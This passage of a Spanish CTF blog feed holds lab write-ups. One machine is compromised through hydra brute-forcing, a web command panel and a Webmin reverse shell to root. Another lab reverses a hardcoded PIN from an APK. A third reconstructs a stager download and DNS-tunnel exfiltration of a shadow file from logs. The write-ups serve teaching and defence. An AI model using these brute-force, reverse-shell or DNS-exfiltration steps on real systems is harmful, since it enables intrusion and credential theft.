&lt;p&gt;La palabra &lt;strong&gt;campana&lt;/strong&gt; aparece con demasiada insistencia como para ignorarla. En una máquina de nivel principiante, eso suele ser suficiente para orientar el siguiente paso.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Fuzzing sobre el sitio web&lt;/h2&gt;
&lt;p&gt;Como la revisión manual no muestra todo el contenido expuesto, ampliamos superficie con &lt;code&gt;dirsearch&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dirsearch -u http://10.10.10.37:8088
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado relevante:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[200] /shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La ruta &lt;code&gt;/shell.php&lt;/code&gt; devuelve una página de autenticación. Eso cambia por completo la lectura del escenario: ya no estamos solo ante una web con pistas, sino ante un portal potencialmente sensible.&lt;/p&gt;
&lt;h3&gt;Análisis&lt;/h3&gt;
&lt;p&gt;Este hallazgo es importante porque el sistema ya nos ofrece dos piezas encadenables:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Un posible usuario: &lt;code&gt;campana&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Un formulario de login accesible en &lt;code&gt;/shell.php&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Cuando una aplicación expone un panel de acceso adicional y además deja pistas de identidad en el contenido público, el siguiente paso lógico es comprobar la solidez de las credenciales.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Fuerza bruta sobre &lt;code&gt;shell.php&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Probamos autenticación contra el formulario usando &lt;code&gt;Hydra&lt;/code&gt;, con el usuario &lt;code&gt;campana&lt;/code&gt; y el diccionario &lt;code&gt;rockyou.txt&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hydra -l campana -P rockyou.txt 10.10.10.37 -s 8088 http-post-form &quot;/shell.php:username=^USER^&amp;amp;password=^PASS^:Username or password invalid&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[8088][http-post-form] host: 10.10.10.37   login: campana   password: lovely
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Credencial válida obtenida:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Usuario:&lt;/strong&gt; &lt;code&gt;campana&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Contraseña:&lt;/strong&gt; &lt;code&gt;lovely&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Comentario&lt;/h3&gt;
&lt;p&gt;El fallo aquí no es Hydra. El fallo real es otro:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;usuario predecible&lt;/li&gt;
&lt;li&gt;contraseña débil&lt;/li&gt;
&lt;li&gt;formulario accesible públicamente&lt;/li&gt;
&lt;li&gt;mensaje de error lo bastante claro como para automatizar el ataque sin dificultad&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Es la clase de cadena que sigue apareciendo en entornos mal cuidados. Nada sofisticado. Solo controles básicos ausentes.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Acceso a &lt;code&gt;shell.php&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Accedemos al portal con las credenciales obtenidas y comprobamos que no se trata de un panel cualquiera, sino de un &lt;strong&gt;ejecutor de comandos&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Esto ya supone una ruptura clara del sistema, porque nos da capacidad de explorar el host sin necesidad de shell interactiva inicial.&lt;/p&gt;
&lt;p&gt;Tras revisar directorios y contenido disponible, aparece un punto especialmente interesante dentro de &lt;code&gt;/opt&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ls /opt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;En ese directorio encontramos un archivo con información útil para el siguiente salto:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /opt/Webmin.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Contenido relevante recuperado:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Usuario:&lt;/strong&gt; &lt;code&gt;santaclaus&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Contraseña:&lt;/strong&gt; &lt;code&gt;FelizNavidad2024&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Análisis&lt;/h3&gt;
&lt;p&gt;Este paso representa otro error clásico: secretos administrativos almacenados en rutas accesibles desde componentes inseguros.&lt;/p&gt;
&lt;p&gt;Una vez que un panel web permite ejecución de comandos, cualquier credencial dejada en texto plano dentro del sistema pasa a ser material de explotación directa.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Acceso a Webmin&lt;/h2&gt;
&lt;p&gt;Con las credenciales encontradas, accedemos al servicio del puerto &lt;code&gt;10000&lt;/code&gt;, que corresponde a &lt;strong&gt;Webmin&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Dentro del panel, tras revisar sus secciones, encontramos una funcionalidad crítica dentro de herramientas administrativas: &lt;strong&gt;ejecución de comandos&lt;/strong&gt;, y además con contexto privilegiado.&lt;/p&gt;
&lt;p&gt;Eso cierra la cadena de explotación. Ya no dependemos de un usuario intermedio ni de un truco local. La propia consola de administración nos entrega ejecución como &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Comentario&lt;/h3&gt;
&lt;p&gt;Aquí la máquina enseña algo muy simple y muy real:&lt;/p&gt;
&lt;p&gt;No basta con tener un panel de administración protegido con usuario y contraseña. Si esa credencial acaba expuesta en el sistema, el panel deja de ser una medida de seguridad y pasa a ser una vía directa de compromiso total.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Obtención de shell como &lt;code&gt;root&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Para operar con más comodidad, levantamos un listener desde nuestra máquina atacante:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvnp 1234
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Después, desde la consola de comandos de Webmin, enviamos una reverse shell hacia nuestro host.&lt;/p&gt;
&lt;p&gt;En el listener recibimos conexión:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;connect to [10.10.10.20] from (UNKNOWN) [10.10.10.37] 37494
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Comprobación:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;whoami
id
ls
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resultado:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root
uid=0(root) gid=0(root) groups=0(root)
root.txt
webmin-1.920
webmin-1.920.tar.gz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ya tenemos acceso completo al sistema.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Notas del autor&lt;/h2&gt;
&lt;p&gt;Aunque esta máquina es de nivel principiante, no está pensada para regalar una shell sin más. Está diseñada para enseñar una secuencia muy concreta de errores que aparecen con demasiada frecuencia:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vector&lt;/th&gt;
&lt;th&gt;Lo que enseña&lt;/th&gt;
&lt;th&gt;Error real representado&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pistas en Base64 dentro de la web&lt;/td&gt;
&lt;td&gt;Exposición indirecta de información útil&lt;/td&gt;
&lt;td&gt;Contenido publicado con demasiadas pistas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Usuario predecible&lt;/td&gt;
&lt;td&gt;Debilidad en identidad y acceso&lt;/td&gt;
&lt;td&gt;Nombres de usuario triviales o deducibles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Contraseña débil en formulario web&lt;/td&gt;
&lt;td&gt;Autenticación pobre&lt;/td&gt;
&lt;td&gt;Passwords simples frente a servicios expuestos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;shell.php&lt;/code&gt; accesible desde web&lt;/td&gt;
&lt;td&gt;Superficie de ataque innecesaria&lt;/td&gt;
&lt;td&gt;Herramientas peligrosas expuestas en entornos accesibles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credenciales en &lt;code&gt;/opt/Webmin.txt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Mala gestión de secretos&lt;/td&gt;
&lt;td&gt;Almacenamiento inseguro en texto plano&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Webmin con ejecución de comandos&lt;/td&gt;
&lt;td&gt;Riesgo de administración remota&lt;/td&gt;
&lt;td&gt;Paneles privilegiados sin aislamiento real&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Mi intención con esta máquina fue clara: demostrar que no hace falta una cadena compleja de CVEs para comprometer un sistema. A veces basta con juntar una pista pública, una contraseña mala y una administración descuidada.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Recursos y referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nmap.org&quot;&gt;Nmap&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/vanhauser-thc/thc-hydra&quot;&gt;Hydra&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/maurosoria/dirsearch&quot;&gt;Dirsearch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://webmin.com&quot;&gt;Webmin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
</content:encoded><author>Oscar</author></item><item><title>PinBreaker: diseñando un laboratorio de reversing básico sobre un PIN hardcodeado</title><link>https://blog.oscarai.tech/posts/pinbreaker-dise%C3%B1ando-un-laboratorio-de-reversing-b%C3%A1sico-sobre-un-pin-hardcodeado</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/pinbreaker-dise%C3%B1ando-un-laboratorio-de-reversing-b%C3%A1sico-sobre-un-pin-hardcodeado</guid><pubDate>Sat, 14 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Máquina creada por:&lt;/strong&gt; Oscar&lt;br /&gt;
&lt;strong&gt;Plataforma:&lt;/strong&gt; The Hackers Labs&lt;br /&gt;
&lt;strong&gt;Sistema operativo:&lt;/strong&gt; Android&lt;br /&gt;
&lt;strong&gt;Dificultad:&lt;/strong&gt; principiante&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Sobre este CTF&lt;/h2&gt;
&lt;p&gt;PinBreaker lo diseñé como un laboratorio corto y muy directo para introducir una idea concreta: cómo un mecanismo de validación aparentemente simple puede quedar completamente expuesto cuando la lógica sensible se deja embebida en el cliente.&lt;/p&gt;
&lt;p&gt;No planteé esta máquina como una sucesión de trucos ni como un reto pensado para alargar artificialmente la resolución. La construí para enseñar una cadena muy concreta y fácil de reconocer: distribución de un artefacto Android, análisis estático del APK, localización de una validación insegura y obtención de la flag a partir del dato descubierto.&lt;/p&gt;
&lt;p&gt;La parte importante no era “adivinar” un PIN, sino obligar a leer la aplicación como lo haría un atacante. Cuando una app incluye secretos hardcodeados y toma decisiones de seguridad en el lado cliente, el problema no es el PIN en sí, sino el modelo de confianza. Ese es el aprendizaje que quería fijar con este CTF.&lt;/p&gt;
&lt;p&gt;También quise que el formato fuese distinto al de una máquina clásica. Aquí no hay una intrusión remota ni una escalada local tradicional. El foco está en el reversing básico y en entender que muchos fallos de seguridad no aparecen en un servicio expuesto a red, sino en cómo se empaqueta y distribuye la lógica de una aplicación.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Información técnica&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Campo&lt;/th&gt;
&lt;th&gt;Valor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Nombre&lt;/td&gt;
&lt;td&gt;PinBreaker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP objetivo&lt;/td&gt;
&lt;td&gt;No aplica&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Servicios&lt;/td&gt;
&lt;td&gt;No aplica; el objetivo es un APK Android&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cadena principal&lt;/td&gt;
&lt;td&gt;análisis estático del APK → extracción de PIN hardcodeado → cálculo de SHA256&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dificultad&lt;/td&gt;
&lt;td&gt;principiante&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Preparación del laboratorio&lt;/h2&gt;
&lt;p&gt;El artefacto entregado en este caso no era una máquina accesible por red, sino un paquete comprimido de pequeño tamaño que incluía el APK de la aplicación y un PDF con instrucciones básicas de uso.&lt;/p&gt;
&lt;p&gt;Ese detalle forma parte del diseño. Quería romper la expectativa habitual de “levantar máquina, escanear y enumerar” para llevar al participante a otro terreno: el análisis de aplicaciones. La superficie de ataque aquí no era un servicio TCP, sino el propio binario distribuido al usuario.&lt;/p&gt;
&lt;p&gt;Desde el punto de vista didáctico, esta primera fase enseña algo muy básico pero importante: no todos los fallos explotables requieren interacción dinámica. A veces basta con inspeccionar con calma el artefacto correcto.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Análisis estático del APK&lt;/h2&gt;
&lt;p&gt;Para revisar la aplicación, el camino natural era usar JADX en su versión gráfica y abrir directamente el paquete APK.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jadx-gui pinbreaker.apk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Una vez cargada la aplicación, la navegación por el código descompilado llevaba al paquete principal y, dentro de él, a la clase &lt;code&gt;MainActivity&lt;/code&gt;, donde estaba implementada la lógica de validación.&lt;/p&gt;
&lt;p&gt;En esta fase lo que quería enseñar era el valor del análisis estático básico en Android. No hacía falta instrumentación, hooking ni ejecución en emulador. Bastaba con revisar el flujo de la aplicación y localizar el punto donde se toma la decisión de aceptar o rechazar el PIN.&lt;/p&gt;
&lt;p&gt;Ese planteamiento refleja un error muy común fuera de un CTF: colocar lógica sensible en el cliente y asumir que, por estar compilada dentro de una app, ya queda razonablemente protegida. En realidad, cuando el control de acceso depende de una comparación local con un valor embebido, el mecanismo deja de ser una barrera y pasa a ser una pista.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Localización de la validación del PIN&lt;/h2&gt;
&lt;p&gt;Dentro de &lt;code&gt;MainActivity&lt;/code&gt; aparecía una función equivalente a &lt;code&gt;checkPin(String)&lt;/code&gt;, encargada de recibir el valor introducido y compararlo con un dato estático. La validación devolvía un booleano en función de si el PIN coincidía o no con el valor esperado.&lt;/p&gt;
&lt;p&gt;Del análisis del código se extraía el PIN correcto:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;8524947156
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Aquí el aprendizaje que buscaba no era solamente “sacar un valor del código”, sino entender por qué ese diseño es débil. El problema representado es el de un secreto hardcodeado dentro de una aplicación distribuida al usuario final. En cuanto el atacante tiene acceso al APK, también tiene acceso potencial a la lógica que gobierna la autenticación local.&lt;/p&gt;
&lt;p&gt;Este tipo de fallo aparece con frecuencia en escenarios reales: claves incrustadas, validaciones offline, comparaciones directas contra constantes o checks locales que intentan sustituir controles del lado servidor. PinBreaker resume ese patrón de forma deliberadamente simple para que la idea quede limpia.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Obtención de la flag&lt;/h2&gt;
&lt;p&gt;Una vez recuperado el PIN, la segunda parte del laboratorio consistía en transformarlo en la flag mediante SHA256.&lt;/p&gt;
&lt;p&gt;El detalle importante aquí es evitar el salto de línea para no alterar el hash resultante. Por eso el comando correcto es:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo -n &quot;8524947156&quot; | sha256sum
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;En una de las notas aparecía el uso de &lt;code&gt;echo&lt;/code&gt; sin &lt;code&gt;-n&lt;/code&gt;, pero para que el resultado sea consistente con el objetivo del laboratorio es necesario calcular el hash de la cadena exacta, sin añadir un retorno de carro al final.&lt;/p&gt;
&lt;p&gt;La salida de ese comando proporciona el valor que se utiliza como flag.&lt;/p&gt;
&lt;p&gt;Desde el punto de vista de diseño, esta última fase sirve para cerrar el laboratorio con una verificación objetiva y simple. No quise añadir pasos extra ni complicaciones artificiales. El reto estaba en localizar correctamente el dato sensible y entender la debilidad estructural; el hash sólo formaliza la entrega.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Lectura técnica de la cadena completa&lt;/h2&gt;
&lt;p&gt;La cadena de PinBreaker es muy corta, pero no es arbitraria:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Se entrega una aplicación Android como artefacto.&lt;/li&gt;
&lt;li&gt;El participante inspecciona el código descompilado.&lt;/li&gt;
&lt;li&gt;Encuentra una validación local basada en un valor fijo.&lt;/li&gt;
&lt;li&gt;Extrae el PIN correcto.&lt;/li&gt;
&lt;li&gt;Deriva la flag a partir de ese valor.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Lo relevante es que cada fase existe para reforzar una misma idea: cuando la aplicación cliente contiene secretos o decisiones de seguridad que deberían estar protegidas de otra forma, el atacante no necesita romper nada sofisticado; le basta con leer.&lt;/p&gt;
&lt;p&gt;Eso es exactamente lo que quería enseñar al diseñar esta máquina. No hay explotación espectacular porque no hacía falta. La debilidad ya estaba en la arquitectura de confianza.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Qué quería enseñar al diseñar PinBreaker&lt;/h2&gt;
&lt;p&gt;PinBreaker está pensado como una introducción a fallos de diseño en aplicaciones móviles donde la validación se resuelve completamente en cliente. La intención no era poner a prueba una cadena compleja de explotación, sino enseñar a reconocer una mala decisión de diseño que vuelve trivial el bypass.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fase&lt;/th&gt;
&lt;th&gt;Qué enseña&lt;/th&gt;
&lt;th&gt;Error representado&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Entrega del APK&lt;/td&gt;
&lt;td&gt;El artefacto distribuido también es superficie de ataque&lt;/td&gt;
&lt;td&gt;Confiar en que el cliente ocultará la lógica&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Análisis con JADX&lt;/td&gt;
&lt;td&gt;El reversing básico basta para auditar flujos sensibles&lt;/td&gt;
&lt;td&gt;Ausencia de protección real sobre la lógica de validación&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Revisión de &lt;code&gt;MainActivity&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;La autenticación local puede desmontarse leyendo el código&lt;/td&gt;
&lt;td&gt;PIN o secreto hardcodeado&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Extracción del PIN&lt;/td&gt;
&lt;td&gt;El dato sensible deja de ser secreto al estar embebido&lt;/td&gt;
&lt;td&gt;Exposición directa de credenciales o claves en cliente&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cálculo de SHA256&lt;/td&gt;
&lt;td&gt;El valor comprometido permite completar el flujo previsto&lt;/td&gt;
&lt;td&gt;Dependencia total de un secreto ya recuperable&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;La enseñanza reutilizable fuera del CTF es clara: una aplicación no debe asumir que el código del lado cliente es un lugar seguro para guardar secretos o tomar decisiones de seguridad críticas. Ofuscación, empaquetado o compilación no resuelven ese problema de fondo.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Recursos y referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;JADX, para decompilación y revisión estática de APKs.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sha256sum&lt;/code&gt;, para derivar la flag a partir del PIN recuperado.&lt;/li&gt;
&lt;li&gt;Conceptos de reversing básico en Android y validación insegura del lado cliente.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>Oscar</author></item><item><title>El Topo DNS: diseño de una intrusión silenciosa con túnel DNS</title><link>https://blog.oscarai.tech/posts/el-topo-dns-dise%C3%B1o-de-una-intrusi%C3%B3n-silenciosa-con-t%C3%BAnel-dns</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/el-topo-dns-dise%C3%B1o-de-una-intrusi%C3%B3n-silenciosa-con-t%C3%BAnel-dns</guid><pubDate>Sat, 14 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Máquina creada por:&lt;/strong&gt; Oscar&lt;br /&gt;
&lt;strong&gt;Plataforma:&lt;/strong&gt; The Hackers Labs&lt;br /&gt;
&lt;strong&gt;Sistema operativo:&lt;/strong&gt; Linux&lt;br /&gt;
&lt;strong&gt;Dificultad:&lt;/strong&gt; principiante&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Sobre este CTF&lt;/h2&gt;
&lt;p&gt;Esta máquina la diseñé para trabajar una cadena de compromiso muy concreta: una intrusión inicial sobre un servicio web expuesto, la descarga de un &lt;em&gt;stager&lt;/em&gt;, el establecimiento de un canal de mando y control mediante DNS y, a partir de ahí, movimiento lateral hacia un sistema interno con exfiltración de información.&lt;/p&gt;
&lt;p&gt;El objetivo no era construir una colección de trucos aislados, sino una secuencia coherente de fallos y decisiones operativas que obligara a leer el incidente como lo haría un analista DFIR. La dificultad real del laboratorio no está en ejecutar una explotación especialmente compleja, sino en separar la señal del ruido y reconstruir la &lt;em&gt;kill chain&lt;/em&gt; completa a partir de artefactos parciales.&lt;/p&gt;
&lt;p&gt;La idea de fondo es sencilla: muchas intrusiones reales no destacan por su espectacularidad, sino por su normalidad aparente. Un único &lt;code&gt;POST&lt;/code&gt; entre miles de peticiones legítimas, unas consultas DNS que pueden parecer anodinas y un acceso interno apoyado en credenciales reutilizadas bastan para comprometer más de un activo si nadie conecta los indicios.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Información técnica&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Campo&lt;/th&gt;
&lt;th&gt;Valor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Nombre&lt;/td&gt;
&lt;td&gt;El Topo DNS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP objetivo&lt;/td&gt;
&lt;td&gt;192.168.1.10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Servicios&lt;/td&gt;
&lt;td&gt;Web, DNS, FTP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cadena principal&lt;/td&gt;
&lt;td&gt;explotación web → descarga de &lt;em&gt;stager&lt;/em&gt; → beaconing DNS → exfiltración por DNS → pivot interno por FTP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dificultad&lt;/td&gt;
&lt;td&gt;Principiante&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Descubrimiento de la intrusión inicial&lt;/h2&gt;
&lt;p&gt;El primer punto importante del laboratorio está en el servidor web. Quise que la entrada inicial no dependiera de una firma evidente ni de una secuencia ruidosa, sino de una anomalía mínima dentro de un log con miles de eventos.&lt;/p&gt;
&lt;p&gt;El artefacto &lt;code&gt;access.log&lt;/code&gt; deja ver que casi toda la actividad corresponde a peticiones &lt;code&gt;GET&lt;/code&gt;, mientras que solo aparece una petición &lt;code&gt;POST&lt;/code&gt;. Ese desequilibrio no demuestra por sí solo una explotación, pero sí marca un punto de observación muy razonable para arrancar el análisis.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat access.log | grep &quot;GET &quot; | wc -l &amp;amp;&amp;amp; cat access.log | grep &quot;POST &quot; | wc -l
5001
1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A partir de ahí, la petición relevante aparece de forma nítida:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &quot;POST&quot; access.log
1.2.3.4 - - [10/nov/2025:09:10:13 +0100] &quot;POST /upload.php HTTP/1.1&quot; 200 150
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;El fichero PHP que actúa como punto de entrada más probable es &lt;code&gt;upload.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Esta fase existe en el diseño para enseñar una idea muy repetida fuera del CTF: el valor analítico de una rareza estadística. No hacía falta un rastro de explotación exuberante. Bastaba con que el lector detectara qué evento rompe el patrón habitual del servicio. En un entorno real, muchos incidentes empiezan precisamente así: una funcionalidad de subida o procesado de contenido expuesta sin controles suficientes termina siendo el mejor punto de apoyo para la intrusión.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Descarga del stager y consolidación del acceso&lt;/h2&gt;
&lt;p&gt;Una vez localizada la entrada probable, la siguiente evidencia importante es la descarga del &lt;em&gt;stager&lt;/em&gt; &lt;code&gt;p.sh&lt;/code&gt;. Aquí quise enlazar la explotación con una acción de post-compromiso muy común: traer un script externo para preparar el siguiente paso del ataque.&lt;/p&gt;
&lt;p&gt;La evidencia aparece directamente en el log de acceso:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat access.log | grep p.sh
192.168.1.10 - - [10/nov/2025:09:10:13 +0100] &quot;GET http://162.248.1.100/p.sh HTTP/1.1&quot; 200 1024
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La dirección IP externa que sirvió el &lt;em&gt;stager&lt;/em&gt; fue &lt;code&gt;162.248.1.100&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Desde el punto de vista de diseño, esta fase representa dos aprendizajes. El primero es que no siempre hace falta un &lt;em&gt;payload&lt;/em&gt; sofisticado para avanzar: un script descargado desde infraestructura externa puede ser suficiente para activar el resto de la cadena. El segundo es que el servidor comprometido empieza a comportarse como cliente de un recurso remoto, y esa inversión de rol suele ser una pista muy útil cuando se analizan logs de acceso web con mentalidad defensiva.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Beaconing DNS y establecimiento del canal C2&lt;/h2&gt;
&lt;p&gt;El corazón del laboratorio está en &lt;code&gt;dns.log&lt;/code&gt;. La hipótesis del escenario ya anticipa uso de túneles DNS para C2 y exfiltración, así que la lectura de este artefacto debía confirmar dos cosas: primero, la existencia de un patrón de &lt;em&gt;beaconing&lt;/em&gt;; después, el uso del mismo canal para transportar datos.&lt;/p&gt;
&lt;p&gt;Las primeras consultas de C2 aparecen así:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat dns.log | grep eltopo
[2025-11-10T09:10:13] 192.168.1.10 -&amp;gt; DNS_SERVER Query: A? 1.beacon.c2.eltopo.thl
[2025-11-10T09:10:13] 192.168.1.10 -&amp;gt; DNS_SERVER Query: A? 2.beacon.c2.eltopo.thl
[2025-11-10T09:10:13] 192.168.1.10 -&amp;gt; DNS_SERVER Query: A? 3.beacon.c2.eltopo.thl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La primera consulta de &lt;em&gt;beaconing&lt;/em&gt; observada es &lt;code&gt;1.beacon.c2.eltopo.thl&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Aquí quería enseñar una lectura muy concreta: el DNS deja de ser solo un servicio de resolución y pasa a funcionar como transporte encubierto. El patrón numerado en los subdominios no pretende ser especialmente realista desde el punto de vista de evasión avanzada; pretende ser legible para que el participante entienda la transición entre compromiso inicial y control remoto. El foco está en reconocer el cambio de función del protocolo.&lt;/p&gt;
&lt;p&gt;En operaciones reales, el DNS suele conservar una falsa pátina de normalidad porque casi todo sistema lo utiliza constantemente. Esa es precisamente la razón de incluir ruido en el artefacto: el reto no consistía en saber que “DNS puede usarse como C2”, sino en identificar cuándo deja de parecer resolución legítima y empieza a encajar con telemetría de control.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Exfiltración del fichero shadow por DNS&lt;/h2&gt;
&lt;p&gt;Una vez establecido el C2, el siguiente paso es la exfiltración. En el laboratorio la información robada procede de un artefacto del tipo &lt;code&gt;shadow&lt;/code&gt;, y se fragmenta dentro de subdominios. No quería que esta fase dependiera de herramientas concretas, sino de leer el patrón: datos codificados en la etiqueta izquierda y dominio de control en la parte fija.&lt;/p&gt;
&lt;p&gt;Las consultas relevantes son estas:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat dns.log | grep eltopo
[2025-11-10T09:10:13] 192.168.1.10 -&amp;gt; DNS_SERVER Query: A? Oio6MTgwMDA6MDo5OTk5OTo3Ojo6CmRhZW1vbjoqOjE4MDAwOjA6OTk5OTk6.data.eltopo.thl
